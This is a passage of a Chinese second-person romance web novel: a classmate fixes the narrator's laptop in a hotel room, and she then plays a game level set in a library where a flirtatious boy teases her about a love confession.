简骁泽不紧不慢走到你面前，朝你勾了下回寝室拿到的修理工具包。
你点点头。
你指着马路对面的一家宾馆问他：“咱们去那里？”
宾馆招牌下的广告灯幕循环播放着“68元3小时的特价钟点房”活动。
他不赞同摇了摇头。
你又指了指稍远些的如家快捷酒店。
他还是摇头。
他怎么不说话，你纳闷。
你眼神在他脸上浅溜了两圈。
他忽然抬手，突兀在嘴前做了个拉拉链的动作。
你眨了眨眼，又眨了眨眼。
蓦地福至心灵，踮起脚尖帮他拉开嘴上的拉链。
你憋起笑问他：“你在干吗？”
他脸上一本正经，回你：“不是你在和我秘密接头？”
这下，你彻底憋不住了，笑声从指缝间连连而出。
他冷静看着你笑。
你笑着笑着，笑声嘎一下断了。
合着，他不是在和你开玩笑……
你尴尬清了清嗓子：“那你想去哪家？”
简骁泽侧头，看着你指的第一家宾馆说：“那是学生会的于明哲。”
你不认识于明哲，但也八卦看过去。
天哪，台阶上正要进门的两人你也认识一个。
不过，你听说女生和她男朋友是高中同学，一直异地啊。
怎么会和学生会的人一起来宾馆开……
你懂简骁泽的意思了。
一男一女进入这种场所，无论是干什么，都会被人下意识怀疑有猫腻。
你嗖一下迈开腿：“走，我们再走远儿点。”
远着远着，你跟简骁泽上了出租车。
出租车司机问你们：“两位去哪？”
你看简骁泽，等他回答。
简骁泽报了酒店名字。
你闻言差点被自己的口水呛到。
哪里？！
洲际、万豪什么的，你还做梦以后有钱了去住一住。
这家酒店，压根没在你的白日梦里出现过。
实在贵得过于一枝独秀了……
简骁泽支着下颌，看向窗外，再英俊的后脑也get不到你难以名状的诧异。
你只好默默收回钉在他后脑勺的灼热视线。
你也望向窗外。
街上，车水如龙在你眼前晃过。
你渐渐恍惚起来。
你们到底是找个地方修电脑，还是真去开房？
只是修电脑的话也太夸张了吧。
你怀疑酒店一晚的房费比你的乞丐版Mac还贵。
这样看来，这个电脑……
你也不是非修不可。
主要，还
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是房费A不起。
还好，你没随身携带身份证。
你又不懂修电脑，简骁泽又不会吃电脑，你担心什么呢？
现在，你非常放心他一个人在酒店房间里帮你修电脑。
机智如你，等会儿就在酒店大堂找个舒适的位置，边玩手机边等他。
出租车停下。
司机递来二维码。
你和简骁泽都扫了码，现在正无声争着付钱。
你争分夺秒输着密码，就听简骁泽那侧的车门被打开了。
你抽空瞥了眼。
就见一身酒店制服帽子的男人在车外微笑着朝里面说：“简先生，您来了。”
简先生？
酒店的门迎竟然认识简骁泽？
在你目瞪口呆的表情中，车内响起了嘹亮的“支付宝到账48元。”
你下意识看向自己的手机屏幕，支付宝的六位密码你才输了四位……
你晕乎乎跟着简骁泽进了酒店。
处处可以随手拍出网红照的酒店内部让你眼花缭乱。
你活脱脱一个刘姥姥进大观园。
直到电梯门在你眼前合上，你看他准确按下电梯的楼层键，你才惊觉你苦心谋划的借口没了用武之地。
你慌了。
怎么高级酒店都不用登记的吗？
看着电梯的楼层数一层层向上跳，你赶忙拿出手机。
刚才你在出租车里都想明白了，虽然简骁泽在学校的风评很好，无论是长相还是你刚窥得的卓越经济条件，看起来都没有占你便宜的必要。
但防人之心不可无。
你打开微信，翻到了小姨的微信。
小姨在你上大学的城市工作，这两年，小姨周末没事就会邀你去她家里玩。
你很喜欢小姨。
她在知名外企工作，漂亮能干，有房有车。
你妈三不五时在你耳边为小姨担忧：“对象怎么换了一个又一个，快四十了还不结婚。”
你却不以为然，一直暗暗佩服小姨。
最近几个月，小姨谈了个据说“很棒的小狼狗”，周末邀你去玩的次数肉眼可见少了些。
这周末又是和小狼狗窝在家里甜甜蜜蜜。
有男友力还有闲，于是，你给小姨分享了酒店的定位。
微信那头的小姨秒回：「收到。」
你刚要告诉小姨要是半小时内没收到你报平安的消息，让她带她的小狼狗来砸门救你，小姨的下一条微信跟着到了：
「做好安全措施。」
你：「放心吧。」
小姨：「记得让他戴套哦~」
戴、套？
你两只眼珠差点当场砸到手机屏上。
与此同时，头顶传来幽幽一句：
“你在和谁发消息？”
21. 图书馆告白挑战（1）
“你在和谁发消息？”
你立马把手机背到身后。
对上简骁泽探究的目光，你呵呵呵呵尬笑。
你怀疑他看到了那条让他戴套的信息……
他一直盯着你。
你心虚的睫毛颤成了蝴蝶，他还是看你。
你颤着颤着，忽然灵机一颤：“是国家公共卫生服务项目之一的执行人。”
简骁泽始料未及，迟疑问你：“什么项目？”
果然，他被你唬住了。
你眼睛瞟着他背后不断攀升的红色电梯层数，慢悠悠答道：
“普及科学知识，帮助适龄人群树立正确的节育理念，增强自我保护意识，提高人民群众的生理健康水平……”【1】
电梯抵达，发出叮一声响。
你如闻天籁，指着他身后惊喜出声：
“电梯到了！”
电梯门缓缓打开，他的目光却依旧凝在你脸上。
“电、梯、门？”你怀疑他没听清你的提醒，一字一顿又重复了遍。
他不置可否“哦”了声，目光慢腾腾从你脸上移开。
他转过身，大步迈了出去。
你用手给脸扇扇风，才觉得好一点。
他再多看你一会儿，你的脸皮都要熟了。
人果然不能做贼。
你慢几步追上去，跟着简骁泽熟门熟路来到一个房门前。
他掏出房卡，“滴”一声，在你身前刷开房门。
你瞄了眼房间号，趁他不注意，在手机上迅速敲下，给小姨发过去。
你锁了屏，进了房间。
里面一眼看去十分宽敞。
是个套间。
你发现这并不是一个打扫好的全新房间，进门的衣柜里还挂着几件衣服。
简骁泽难道不住校，平时住这里？
不对啊，他之前还回宿舍取工具包了。
你和他不熟，不好直接问出口。
你谨慎没再乱看。
经过带床的隔间门，脚步都不由加快。
你走到个单人沙发前坐下。
听着周围换衣服、放下东西、流水洗手等窸窸窣窣的响动，你的眼睛十分规矩放在鞋尖和前方小桌间的一亩三分地。
就在你估算完桌子的周长，正在算面积时，银灰的大理石桌面忽的落下一片阴影。
你抬头。
是简骁泽。
他拎了几瓶饮料放到了桌上。
苏打水、果汁、茶、牛奶、咖啡，你一一查看了进口标签上的内容。
还挺齐全。
你再抬头，简骁泽已坐在了办公桌前。
他从工具包里挑出型号合适的螺丝刀，一一拆起你电脑后盖上的十枚螺丝。
打从迈进这间房，他一句话都没同你讲。
你现在不仅不忐忑了，还有点儿怀疑，他比你更想捍卫住自己的贞操。
你叹口气，向后靠上椅背，心情有些复杂。
虽然男人的贞操也是贞操，但他是不是有点过于谨慎了？
你细胳膊细腿，他人高马大的？
水晶吊灯瀑布般的流光下，你望着一尘不染的落地窗，远处是开阔的江景。
你窗前强制……他的可能性？
……
哈哈哈，你还是打开窗，直接跳进江里更容易。
你琢磨着琢磨着，目光又落回简骁泽身上。
人，就是这么奇妙的动物。
当你怂，却发现对方比你更怂，你就能立马支棱起来。
于是，你搬了个圈椅，颠颠走去正埋头拆零件的简骁泽身边。
你故意弄出些响动。
简骁泽闻声朝你瞥来一眼，目光继而落在你抱在身前的圈椅里。
他没说话。
沉默就是同意。
于是，你大大方方把椅子摆在他旁边。
你坐下，对他歪出甜甜一笑：“我来搭把手吧。”
其实，比起帮忙，你更好奇他修电脑的过程。
要是不难的话，你顺手偷个半招一技，再有类似的情况发生，你就能自己动手处理了。
他看着你的长睫毛忽扇了下，说了声：“好。”
他转回头，却没有立马继续之前的工作。
目光在敞开后壳的电脑和拆下来的电池、内存条等零件上逡巡一圈，他捏起右上方摆着的一堆小螺丝。
你认识这些小螺丝，是他最开始拆下来、用于固定电脑后壳的十枚螺丝。
“手。”他对你说。
你看他的眼色，会意伸出掌心。
他把螺丝一枚枚摆进你掌心。
“看好它们。”他对你说，转身又继续拆起了零件。
你手掌保持摊开的动作，掌心十枚螺丝，一排五枚，工整摆了两排。
你觉得掌心有点儿痒。
若有似无的。
你不确定是因为螺丝上的细密螺纹，还是他刚才几次一触即离的指尖。
你合拢掌心。
他绘下的图案在你掌心凌乱。
你虚拢成拳的手抵在下颌，看他对着台灯橘黄的光细致擦拭每一个拆下来的零件。
机械的反复，你眼睛慢慢眨着、看着，却不觉得无趣。
灯下看美人，脑中思绪曼舞，擅长学习的你头一次发现知识是这般难以进入大脑。
你不由长叹口气。
他熟练的擦拭动作一滞，朝你睇来一眼。
你一脸认真解释：“修电脑好难学。”
难不难，简骁泽未予置评，只说了句：“坏了，可以再找我。”
将内部零件一一清理干净后，简骁泽将它们重新组装好，扣上银灰色的电脑后壳。
他开始上螺丝，你一枚一枚递给他。
十枚螺丝上好，你也松了口气。
大功告成，从头到尾，你四舍五入也算参与感满满。
简骁泽把电脑递还给你，告诉你为了保险，最好等到明天再开机。开机之后，要是出现什么问题，可以第一时间联系他，他会帮忙处理。
你们因此交换了微信。
你们一起打车回了学校，再一次竞争起付车钱。
这一次，是你赢了。
昏暗的车顶灯下，你露出胜利的笑容。
进了校门，你们又一前一后走起来。
他跟在你身后，把你送到女寝楼下。
你看了眼周围来来往往的女生，没有和他告别，快步跑上了台阶。
迈进寝室楼的大门，你回头张望了眼。
简骁泽还未走，远远站在你们无声分别的原地。
你小小抬起手，放在下巴旁冲他摆了摆。
他看见了，冲你点了下头，继而转身离开。
你莫名有些接头成功的雀跃，噔噔噔的脚步轻快跑上了楼。
***
第二天早上五点半，你便爬下了床，轻手轻脚走到书桌前，充满仪式感按下电脑的开机键。
电脑成功启动。
Pages文稿自动弹出上次退出异常的提示，询问你是否要打开上次的文档。
你点击确定，眼前跳出你昨天下午敲到一半的小论文。
你悬着的心终于彻底落地。
你立马拿起手机，打开微信。
昨晚刚加上的简骁泽还躺在你的列表首页，你点开他，噼里啪啦敲下：
「电脑成功启动，写到一半的论文也在，你简直是个天才！」
「谢谢谢谢谢谢^^」
简骁泽估计还没起，没有立马回复。
室友们还在睡觉，你没法和她们分享这个好消息。
虚惊一场，现在万事太平，你太太太开心了！
现在干点什么平复一下呢？
你想到上次退出游戏前，系统提醒你要在两周内上游戏“还债”。于是，你点开了“燃烧吧，小I人”的游戏图标，登陆了游戏。
熟悉的眩晕感袭来。
你再睁开眼，发现室内天光大亮，你前后左右坐满了人，都在低头学习。
旁边还有一排排书架。
是你再熟悉不过的地点。
图书馆。<
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$(''#content'').append(''
p>你低头打量了一下自己。
不再是熟悉的白T配牛仔裤，一身剪裁合体的雪白长裙，精致的蕾丝裙摆荡在你线条流畅的小腿肚间，脚上是你一直想要的法国Repetto的芭蕾舞单鞋。
很显白的松绿色，鞋头系着一个小巧的蝴蝶结。
你退后些椅子，在桌下翘着鞋跟摆起脚尖，左摆摆右摆摆，越看越美丽。
没看黄历，你都知道今天是个好日。
电脑和论文完好，进入游戏是你最熟悉的场景，还给你一身漂漂亮亮的装扮。
你的心情点数持续上涨。
就是不知道这一关的任务是什么。
游戏像是感应了你心中所想，下一秒，你面前弹出熟悉的透明任务面板。
任务目标：「接受他的告白。」
任务地点：「图书馆内。」
接受他的告白？
在图书馆内……
你是有点儿无语的，谈恋爱可以，为什么要在图书馆内啊？
图书馆明明是学习的地方……
身为单身狗的你每次看到有情侣在图书馆公然秀恩爱，你都想自费替他们开个房。
看来，你是无法避免要成为自己鄙视的人了。
索性，这只是个游戏。
接受告白，不就是白给？
你合理推测是系统担心你无法成功通关，不能按时还上游戏积分，给你开的后门。
网贷不也是这样，长时间不还，催债的就会打电话告诉欠款人减免利息，只还本金就可以。
你没有利息，于是，游戏给你降低了难度，甚至取消了任务时限。
你越想越觉得合理。
既然系统这么不遗余力帮你，你决定配合它速战速决。
无论一会儿和你告白的对象是谁，你一律“yes”通过。
你菜市场挑菜般扫过视野里的男生，想着就算是他年纪轻轻离婚带娃，看在他坚持上学的份上，你也可以给他个通过。
计划完美。
现在，你就是姜太公，坐等大鱼咬钩了。
说曹操，曹操就到，想完你就和对面的男生对上眼了。
和你对上眼，他立马做贼心虚移开了。
害羞了~
你穿得漂亮，心情指数爆表，还有好运buff，现在就像某些男人一样自信。
你还不确定游戏说的“他”就是眼前的他，于是，你准备再观察一会儿。
他长着娃娃脸，戴着书卷气的眼镜，气质干干净净，五官组合给你种恰到好处的舒服。
虽然不像你前两关的目标那样帅得一骑绝尘，但放到你现实的班级，也绝对排得上前三。
属于你漂漂亮亮的完美状态，努力蹦跶蹦跶说不定可以够到的人。
你收回恶霸打量小媳妇的眼神，翻开了桌上的书，装模作样看起来。
看着看着，你就确定了。
因为，你看了七页书的功夫，他已经偷瞄了你四次。
时间宝贵，你决定推他一把。
你从随身的包里翻到便签，在上面工整写下：
「同学，我注意到你看了我几次，你是不是有什么话想对我说？」
你撕下便签，好生打量一番，又在末尾补上了你的名字：「夏佑」
你将便签轻轻推到对面。
然后，继续装作看书，实则余光一直偷瞄对面。
你短短两行字，男生却足足看了一分钟。
他突然嗖一下站起身，你吓一跳仰头看他。
他匆匆往外走去。
这么害羞吗？
你耐心看书，等他回来。
果不其然，不到五分钟，他就回来了。
他把便签放在你面前，还有……一把梳子？
你忽略那把莫名其妙的梳子，去看便签上的内容：
「夏佑同学，
你好。
你的发缝上三分之一处向右歪出个三角，能不能麻烦你把它拨回它原该在的那一半。
（抱歉，我有点强迫症。）
徐晨曦」
22. 图书馆告白挑战（2）
纸条上的字飘逸洒脱，弹珠般，一个个砸到你过度发酵的自信上。
泰山般宏伟的自信转瞬被砸成陨石坑。
你两手一拍桌面，愤而起身。
埋在书海里黑压压的脑袋纷纷闻声而动。
目光四面八方嗖嗖嗖嗖直射而来。
连嚓嚓的写字声都消失了。
此时无声胜有声——
身为图书馆的常客，你太懂学习上头后被人打断的不快了。
你一秒哑火，垂手摸上梳子，拔腿遁走。
出自习室前往洗手间的一路，你蔫答答好生夹紧尾巴。
人果然不能随便飘，还得踏踏实实、勤勤恳恳、兢兢业业做……人？
对上洗手间的镜子，你呆住了。
Wwow——
你怎么能这么好看！
脸虽然还是你的脸。
但所有配件都是顶峰状态，磨皮抛光美颜拉到最大的状态。
皮肤白里透红，八十年代电视剧里女演员般的健康肤色。
熬夜黑眼圈？
Nonono！
毛孔痘印？
无影无踪！
最最最让你惊喜的是你的头发！
变成了你一直想尝试却从未成功过的亚麻闷青色。
上了大学，你几度想尝试染发，却无一不被室友们阻拦。
她们口口声声说你如此纯正的乌黑，染发就是暴殄天物。
染完一定没有现在好看。听得次数多了，你自己都怀疑黑色才是最适合你的发色。
你抱起手臂，扬着下巴看镜子里的人，大波浪配这个亚麻闷青，缎子般闪着丝滑的光泽。
真是又美又飒。
怎么不再顺手给你整个大胸长腿，让你buff叠满？
算了算了，这样你也很满意了。
看得出系统为了能让你通关，煞费苦心给你开了不少小灶。
你准备出去给系统个大大的五星好评，附加15字以上评论的那种。
你的自信心又呼呼鼓起。
徐晨曦是吧？
喜欢你就对了！
纸条上的内容一定是他和你变相搭讪的手段。
等你分好发缝，立马就回去迎接他的表白！
哈哈哈哈哈哈，你怎么这么好看？
你实在没法拒绝颜值blingbling的自己。
想一辈子待在游戏里了，呜呜呜呜~
你对着镜子眉飞色舞，身边洗手的人连换几波，你都没能从镜子里拔出眼来。
直到身边小心翼翼传来一句：“同学，你没事吧？”
你不明所以，往旁边一看。
惊讶你一进洗手间瞥见的女生竟然还在，擦手的纸巾被她捏成了团，才酝酿好和你开口的模样。
你连忙摆手，口中下意识一连串：“没事没事没……”视线离开了镜子，你又恢复成原来的模样。
手中的梳子在眼前摆出了残影，你才想起来这里的最初目的。
看着女生欲言又止想帮你点儿什么的眼神，你仿佛看到了另一个自己。
于是，你试探开口：“我的头发没分好，你能帮我重新分一下吗？”
女生眼里露出茫然。
你伸出食指，比划着进一步解释：“左一半，右一半，中间平分的那种。”
女生很快理解，点点头说：“好。”
她接过梳子，轻轻拍了下你的肩膀，你会意耷拉下头。
她仰着下巴打量着你的发缝，自言自语般说：“有一块歪到另一边去了。”
你向她确定：“是那块三角吗？”
她在你头顶噗嗤一笑：“这没说，好像也没错。”
她：“歪得还挺标准。”
你：“什么？”
她：“是个正三角。”
她动作轻柔，帮你把多余的那绺头发拨去了另一边，又捧着你的头好生打量了一番，才把梳子重新递给你。
“现在非常对称了，你可以放心了。”她冲你微笑。
是徐晨曦可以放心了，你想。
她帮助了你，心情很好的模样，冲你摆摆手：“走啦！”
你叫住了她，从跨着的手机包里摸出颗大白兔奶糖，不由分说塞进她手里。
她愣了下，继而对你粲然一笑，挥了挥手里的糖和你告别：“谢啦！”
女孩子，真是美好的生物，你望着她离开的背影想。
在镜子里确认过笔直的发缝，你带着自己200%的美貌，重新奔赴战场！
出来时，你蹑手蹑脚，回去时，你昂首阔步。
走着走着，远远看到前方出现两条又细、又白、又长、又直的腿。
你一路看上去，浅蓝的牛仔短裤前方伸着只纤纤玉臂，白皙的五指此刻正攥着个淡粉的信封。
半递不递的姿态。
你过度分泌的口水到这里险些呛到自己。
不止有美女，还有瓜。
你散满的目光嗖一下燃起，朝瓜的另一头在桌后坐着的男生看去。
不看不知道，一看，下巴差点没掉下来。
男生的后脑勺上顶着个金光闪闪的“他”。
这才是你的攻略目标？
不对不对，这才是要攻略你的目标。
还是感觉有哪里怪怪的？
你蹑手蹑脚靠过去，想听听他们在说什么。
毕竟，要和你表白的人总不能先接受别人的表白吧？
他应该会拒绝这个女生吧？
女生全幅心神在坐着的男生身上，即使你迎面靠近，她也完全没注意到在几步之遥听墙角的你。
你终于能听清他们说什么了。
男生始终没接那个粉色的信封，只后脑勺轻晃了晃，利落扔出两个字：“不行。”
他拒绝了，你在他身后满意点点头。
女生听到男生的拒绝后，脸上难掩失落。
但她似乎不想就这么放弃，捏着信封的手臂执拗举在半空：“为什么？”
男生鼻腔溜出一声笑：“没什么为什么。”
你欣慰点点头，男德不错。
“只是这周不想谈恋爱。”
你吃瓜的脖子险些当场折断：“？？？”
什么叫只是这周不想谈恋爱？
这是什么拒绝理由？
你的目标不会是个……花心大萝卜吧？
你正头脑风暴着，突然意识到没了后续。
你猛一抬头，发现男生转过了头，一脸“逮到你了”翘起一边嘴角看着你。
你没有吃瓜被瓜主逮到的窘迫，看清他风情万种的脸，你脑中只有三个字：
他？
就、你？！
*
你震惊的目光颤抖着依次滑过他潋滟的桃花眼、眼下的泪痣、耳垂上耀眼的钻石耳钉、颈上黑色的choker……
以及衬衫领口一
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路向下差点敞到的腹肌上缘。
你的理智跌进他毫无底线的衬衫大V里，久久难以自拔。
他可以在偶像剧里，可以在颜色文里，可以在漫画里，甚至可以在你只闻其名的牛郎店里，他……
他怎么可以在图书馆里？！
上帝啊，图书馆里怎么会有这样的男生啊？！！
等他和你表白？
条正盘顺的大波美女他不喜欢，喜欢你这勉强算勾了欠的油光小菠菜？
他脑子瓦特了？？？
*
但这是恋爱游戏啊。
恋爱游戏可以不讲逻辑的吧……
你的逻辑开始尝试强行把“他”喜欢你引向合理的方向去。
谁说一定要鱼找鱼，虾找虾，乌龟找王八，万一、万一他就喜欢你这种类型的呢？
青菜萝卜各有所爱，是有这么一句话吧？
说不定，他之前就暗恋你。
暗恋类的小说你也看过几本，平平无奇的女主暗恋校草、学霸，各种卑微心酸，结果后来发现校草、学霸一早就对女主暗生情愫，但碍于彼此是锯嘴的葫芦不肯表达，硬生生拖上几年到几十章不等，才能圆满在一起。
你每次看，都恨不得钻进小说里帮他们戳破这层大家都知道的窗户纸。
眼前这个“他”，校草，打勾
你，平平无奇，打勾
游戏里的你=女主，打勾
校草暗恋平平无奇的女主，达成。
这么一看，他现在看向你的眼神可当真是意、味、深、长啊。
没错。
说不定就是这样，两关了，你连个恋爱的尾巴都没摸到，狗血的恋爱戏也该出场了。
你得勇敢上去push他一把，让他正视自己的内心。
你攥紧双拳，迎上他如影随形的目光，大步上前。
你停在他们前，和二人各成六十度夹角。
没错，你们三个现在就是个等边三角形。
你看着坐着的任务目标，小声的开门见山：“你要和我表白吗？”
你六十度的方向当即响起一连串憋不住的笑。
你好想提起她一句“这是图书馆，小点儿声”，可惜你正忙着，不能错过任务目标的神色。
他仰视着你，窗外的阳光勾勒出他此刻格外明晰的喉结，明明是多情的桃花眼型，偏灰蓝的瞳仁若一汪沉静的海，长睫踩着你的呼吸频率慵懒地一眨一眨……
就差眼里直白抛出个钩子了。
如果你没看错，他脸上有风情万种，有情意绵绵，独独没有惊讶。
你们果然有点儿什么。
但碍于情感经验匮乏，你无法窥得你们的关系进行到了哪一步。
于是，你选择按兵不动，等他先开口。
他却也不急。
终于，有人替你忍不住了，咬牙出声：“原野，她是谁？”
原来，你这次的目标叫原野。
这么快就知道目标“他”的名字了，开局很顺啊。
你也在等他的回答。
他要怎么介绍你呢？
原野斜乜她一眼：“你还不回避吗？”
“为什么我要回避？”女生惊讶中带着不可置信。
“一直以为你很有眼力见呢。”原野低低笑出声，眼波继而朝你潋滟一睇，“没听到她还在等我表白呢？”
“还是说，”他别有深意一顿，“你要留下来听我和她告白？”
23. 图书馆告白挑战（3）
“还是说，”原野别有深意一顿，“你要留下来听我和她告白？”
好毒的一张嘴啊。
你往左偷瞄一眼。
女生雪白的贝齿咬进蜜桃粉的唇瓣，晶莹的泪珠大颗大颗从脸蛋滚落，却仍倔强盯向原野。
美人垂泪，欲语还休。
可惜媚眼抛给了个瞎子。
原野似乎耐心告罄，翘着个二郎腿，指尖把玩起右耳的钻石耳钉。
你替别人尴尬的毛病又犯了，好想遁走。
但一想好不容易走到这一步，再多留一会儿，你就能听到告白，你又生生按住蠢蠢欲动的大腿。
无声的尴尬在你们之间流动。
更准确说，是在你和女生间流动。
原野像完全看不懂气氛的异常，局外人般自得其乐。
有一瞬，你想一把薅下原野的耳钉，砸到地上，怒斥他“玩玩玩，不看看都什么时候了？就知道玩！”
脑中幻想的画面愈发生动，再掐个腰就有你妈那范儿了。
“咔哒”，一声响指在你下巴前打响。
你回过神，才发现女生不知何时已经离开。
你收了下巴后仰着头，一脸警惕：“你干嘛？”
“你说呢？”
原野慢腾腾放下胳膊，掀着薄薄的眼皮看你。
想起来了。
你要听他表白。
你刚要说一句“可以开始了”，便注意到周围的不对。
原该黑压压趴着的脑袋们现在各个精神支棱着，该拿笔辛勤耕耘的手也纷纷举起了手机。
啊啊啊啊，你怎么能打扰别人在图书馆学习！！！
你忍住当场抱头鼠窜?的冲动，别过脸凑近原野，用手挡着众人嗖嗖嗖的视线，悄悄说：
“我们去外面说。”
说完，你直起身，挺胸抬头朝外走去。
确定走出吃瓜群众的视线范围，你飞快回头瞄一眼。
原野跟上来了。
你放心加快脚步，走出图书馆。
你还记得游戏要求的表白地点是“图书馆”，不敢走太远。
你顺着图书馆的建筑外墙拐个弯便停下来。
你扒着墙的转角伸出头回望。
原野单手插兜，不紧不慢朝你走来。
你们成功在转角接头。
四下无人，你们两人面对着面，他该和你表白了。
你后知后觉有了些羞怯的心思。
你以手抵唇，轻咳两声：“可以开始了。”
原野瞠着眼：“开始什么？”
你：“表白啊。”
“为什么我要和你表白？”
这次轮到了你惊讶了：“不是你说要和我表白？”
“我什么时候说的？”他两手一摊，“我怎么不记得了？”
他怎么能耍赖？
“你说了，你说……”你蹙眉回忆着刚才的场景。
想起来了！
你假装身后有把椅子，曲腿悬空坐下，低低一笑，压着嗓子学他的腔调：“一直以为你很有眼力见呢。”
然后你仰起脸，朝一旁的虚空位置抛了个媚眼：“没听到她还在等我表白呢？”
不错，除了媚眼有点卡顿。
“想起来了吗？”你直起身问他。
原野却突然绷不住了似的，放声大笑起来。
笑到最后，甚至踉跄蹲到了地上。
他在笑什么？
你明明只是学了他说过的话……
他怎么好像要笑抽过去了？
你，脑袋上横空飘过一连串大写加粗的问号。
“别笑了。”你开口劝道。
他还是在笑。
笑得越发上气不接下气。
你实在担心他笑缺氧了，没表白就先晕过去。
于是，你弯下腰，直接上手捂住他的嘴。
没用。
潮热的气息持续撞击你的掌心，笑声还在放肆回荡。
精神病啊，你手下又加了三分力，掌心更是直接贴上他的嘴唇。
他张牙舞爪的两瓣唇终于被成功封印。
你另一只手捏上他的下巴，迫他抬头和你对视：“能不笑了吗，哥们？”你咬牙切齿。
他狭长的桃花眼却毫无预兆盈盈一弯，笑看向你。
你被他眼波间的秾丽晃了神。
手下的力道不知觉卸下。
他在你拱起的掌心再一次咧开嘴角。
这次，没了放肆的笑声。
悄无声息的。
如你后脑勺上烘烘暖的日光，无声灿烂着。
你被灼了般猛地收回手。
原野得以开口：“是你上来问我‘你要和我表白吗？’，我说你在等我表白，这有错吗？”
这么说，好像也没错。
但你很快又想起来：“不对，你还问那个女生‘你要留下来听我和她告白？’”
原野无辜摊摊手：“我以为你是在英雄救美。你好心搭了台子，我顺嘴下去而已。”
“什么英雄救美？”你被他的脑回路弄懵了。
原野指了指你，说：“英雄。”
回手又指了下自己的脸：“美。”
“英、雄、救、美。”他最后总结。
简直把你气笑了。
你撩了把亚麻闷青的波浪卷发，抖了抖蕾丝掐腰小白裙，最后指向自己的脸，一字一顿：
“我才是美！”
原野无所谓耸了耸肩：“那就问问大家咯。”
“大家？”你左看右看，不知“大家”在哪。
原野长臂一抬，一把勾过你的脖子，把你拉得跌进他怀里。
你挣扎着要站起身。
他手肘一压，硬生生又把你压蹲下去。
“抬起脸。”他说。
你下意识抬头，正对上他高举的手机的自拍镜头。
“smile~”
你条件反射笑了。
“咔嚓”一声，你们头贴着头、一起仰视镜头笑的画面定格。
你懵懵的，他在干嘛？
下一秒，他松开勾住你的手臂，点开微信，进了朋友圈，上传他刚拍下的合照，边念边敲下配文：“吾与徐公孰美？”
“不若君之美也。”你顺
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口接道。
原野点击了发送，转头冲你灿烂一笑：“你承认我比你美了。”
“早知道就不麻烦大家当评委了。”
这套设的，你一口气险些没上来。
原野大概是朋友很多，你们说个话的功夫，就蹦出好几条评论。
「野哥这是官宣了？？？」
「靠，老子上个厕所的功夫，这么突然？」
「手机没掉坑里吧？」
原野继续往下刷，你凑头跟着一起看。
「出门没看黄历，今天是愚人节？」
「愚人节不用看黄历……」
「你能不能看话看重点！」
「大冒险输了？」
「手机被偷了？」
「哈哈哈哈，哪个傻逼偷咱们野哥头上去了？」
「你俩才是傻逼，手机被偷了上传的合照上怎么会有野哥的脸？」
「靠，野哥真是在官宣！」
「野哥就是不一样，官宣文案都这么特别。嫂子美，嫂子美，心心眼jpg.」
原野转头看你一眼：“你一票。”
你已经很久没这样无语了。
他还在继续刷：
「野哥，什么时候带嫂子出来给我们见见？」
「对啊，对啊，我做东，野哥带嫂子出来热闹热闹。」
「傻逼，野哥官宣还用得着你做东，瞧不起野哥怎么的？」
原野越刷，眉峰蹙得越紧。
「野哥这是在哪约会？怎么有点儿眼熟？？」
「艹，我早上约你打球，你不是和我说今天要泡图书馆期末复习？合着是你女朋友叫“图书馆”？」
“行了。”原野按灭手机，潦草总结，“一比一，咱俩平了。”
还……可以这么耍赖？
“一比一？”你冷哼，探手重新按亮他的手机，“你那一分谁给的，找出来让我好好看看。”
原野侧过头，食指在你眼前画几个圈，最后在你鼻尖一点，一脸得意说：
“是你呀。”
“你刚才亲口承认的，”原野浅咖的唇瓣在你眼前幽幽开合，“不若君、之、美、也。”
你闭了闭眼，再睁开眼，生无可恋宣布：“你赢了。”
原野“切”了声：“平手就是平手，我是个有原则的人。”
他怎么可以如此厚脸皮？
你瞪他。
原野：“我怎么感觉你的眼神像是要把我吃掉？”
“你以为你是旺仔牛奶糖啊！”你麻了，也顾不得仙女白裙了，干脆一屁股坐到地上。
你背靠着图书馆的外墙，仰头望天。
感觉身体被掏空。
原野挪了挪屁股，并肩坐到你旁边，和你一起仰头望天。
“你在看什么？”
“蓝天。”
“蓝天有什么好看的？”
“看云。”
“云有什么好看的？”
“白的。”
“白的有什么好看的？”
你转头对他怒目而视：“你可闭嘴吧！”
“嘻嘻，你终于又看我了。”
24. 图书馆告白挑战（4）
原野：“嘻嘻，你终于又看我了。”
你：“……”
“我们的对话像不像那个？”
“哪个？”
“从前有座山，山里有座庙，庙里有个老和尚和小和尚。老和尚对小和尚说:‘从前有座山，山里有座庙，庙里有个老和尚和小和尚……’”【1】
你实在忍不住了：“原、野。”
“嗯？”
“我们打平手。”
“你终于承认了？”他的声音明显愉悦起来，又突然想起什么，“不过，也不一定。”
原野放下曲起的右腿，从裤兜里摸出手机，打开朋友圈：“让我看看有没有新评论。”
你：“……”
原野：“我给你念念啊。”
说完，不等你同意，就一人分饰多角绘声绘色念起来：
“野哥怎么到现在还不回复？”
“和嫂子约会呢，哪有功夫搭理咱们这些单身狗？”
“你才是狗，我是单身贵族。”
“对了，还不知道嫂子叫什么？”
原野突然停下来，转头看你：“对啊，你叫什么？”
你震惊直起身，一脸“你不会吧、你不会吧”慢慢转过头：
“你是在问我叫什么？”
他乖巧点点下巴。
“原、野，”你指着自己的脸，再一次确认，“你不认识我是谁？”
“现在认识啦。”他语气随意。
言下之意，他之前压根不认识你……
他都不认识你为什么和你唠这么久？
不对！
他都不认识你，为什么要跟着你出来？
天哪，合着你是扯了个陌生人，叭叭叭蹲墙根聊这么久？
你还口口声声让人和你表白？
你都不敢细想，在原野眼里，你得是个什么程度的神经病……
救不了，救不了，这局你是死都救不了。
这个世界还有什么值得你留恋，白裙子都脏了，你还是撞墙晕倒吧。
晕了，就能重来了。
临走前，你微笑给原野留了个遗言：
“下次，别再这么随便了。”
说完，你心一横，眼睛一闭，脑袋向后面的墙使劲砸去。
系统又给你屏蔽痛觉了，不错不错。
不防，耳边突然拉警报般响起尖叫“手手手手手——”
你睁开眼。
原野漂亮的脸蛋皱巴成一团，嘴里嘶哈嘶哈催促：“快、快把你石头一样的脑袋从我手上挪开！”
你这才意识到脑袋撞上了他的手，飞快回头去看。
就见原野左手托住右手手腕，把他好像断了般的右手小心翼翼从墙上扶下来。
“你、你……”
你没料到事情会发展成这样，一时不知道是该先关心他的手，还是先问他为什么突然把手放到墙上。
“你什么你？”原野没好气道，“为了救你，我手都断了，你得对我负责！”
“也、也没那么严重吧？”你实在不信自己的脑袋有这么大的威力，“我就轻轻一撞。”
“轻、轻？”原野倒抽一口冷气，“你要是再使点儿劲，我还不得粉碎性骨折？”
你感觉自己好像遇见了碰瓷的。
这青天白日、朗朗乾坤的……
